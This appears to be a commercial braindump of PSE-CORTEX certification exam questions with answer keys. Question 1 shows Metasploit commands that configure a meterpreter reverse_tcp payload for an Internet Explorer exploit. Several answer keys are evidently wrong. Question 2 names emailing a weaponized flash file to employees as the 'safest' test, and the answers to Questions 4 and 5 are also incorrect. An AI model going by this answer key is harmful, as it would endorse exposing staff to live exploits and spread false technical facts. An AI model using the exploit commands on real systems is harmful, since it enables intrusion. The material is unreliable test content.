PSE-CORTEX$^{Q\&As}$

Palo Alto Networks System Engineer - Cortex Professional

Pass Palo Alto Networks PSE-CORTEX Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.pass2lead.com/pse-cortex.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by Palo Alto Networks Official Exam Center

- **Instant Download** After Purchase
- **100% Money Back** Guarantee
- **365 Days** Free Update
- **800,000+** Satisfied Customers

QUESTION 1

A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been selected and a module in Metasploit has been identified (exploit/windows/browser/ms16_051_vbscript)

The description and current configuration of the exploit are as follows;

```
msf exploit(ms16_051_vbscript) > show options

Module options (exploit/windows/browser/ms16_051_vbscript):

Name        Current Setting     Required  Description
----------  ------------------  --------  ------------------
SRVHOST     10.0.0.10           Yes       The local host to listen on.
SRVPORT     80                  Yes       The local port to listen on.
SSL         false               No        Negotiate SSL for incoming connections
SSLCert                         No        Path to a custom SSL certificate
                                          (default is randomly generated)
URIPATH                         No        The URI to use for this exploit (default
                                          is random)
```

The admin needs to perform the following steps:

- Configure a reverse_tcp meterpreter payload
- Set up the meterpreter payload to listen in IP 10.0.0.10
- Set up the meterpreter payload to listen in port 443
- Configure the URL to listen in a path with name "survey"

What is the remaining configuration?

A. set PAYLOAD windows/x64/meterpreter/reverse_tcp set SSLCert survey set LHOST 10.0.0.10

set LPORT 8080

B. set PAYLOAD windows/x64/powershell_bind_tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH survey

C. set PAYLOAD windows/x64/meterpreter/reverse_Tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH survey

D. set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.10 set LPORT 443 set URIPATH survey

Correct Answer: D

QUESTION 2

An administrator of a Cortex XDR protected production environment would like to test its ability to protect users from a known flash player exploit.

What is the safest way to do it?

A. The administrator should attach a copy of the weapomzed flash file to an email, send the email to a selected group of employees, and monitor the Events tab on the Cortex XDR console

B. The administrator should use the Cortex XDR tray icon to confirm his corporate laptop is fully protected then open the weaponized flash file on his machine, and monitor the Events tab on the Cortex XDR console.

C. The administrator should create a non-production Cortex XDR test environment that accurately represents the production environment, introduce the weaponized flash file, and monitor the Events tab on the Cortex XDR console.

D. The administrator should place a copy of the weaponized flash file on several USB drives, scatter them around the office and monitor the Events tab on the Cortex XDR console

Correct Answer: A

QUESTION 3

Which two entities can be created as a BIOC? (Choose two.)

A. file

B. registry

C. event log

D. alert log

Correct Answer: AB

https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/investigation-and-response/cortex-xdr-indicators/working-with-biocs/create-a-bioc-rule.html

QUESTION 4

In an Air-Gapped environment where the Docker package was manually installed after the Cortex XSOAR installation which action allows Cortex XSOAR to access Docker?

A. create a "docker" group and add the "Cortex XSOAR" or "demisto" user to this group

B. create a "Cortex XSOAR\\' or "demisto" group and add the "docker" user to this group

C. disable the Cortex XSOAR service

D. enable the docker service

Correct Answer: B

QUESTION 5

In Cortex XDR Prevent, which three matching criteria can be used to dynamically group endpoints? (Choose three)

A. alert root cause

B. hostname

C. domain/workgroup membership

D. OS

E. presence of Flash executable

Correct Answer: ACE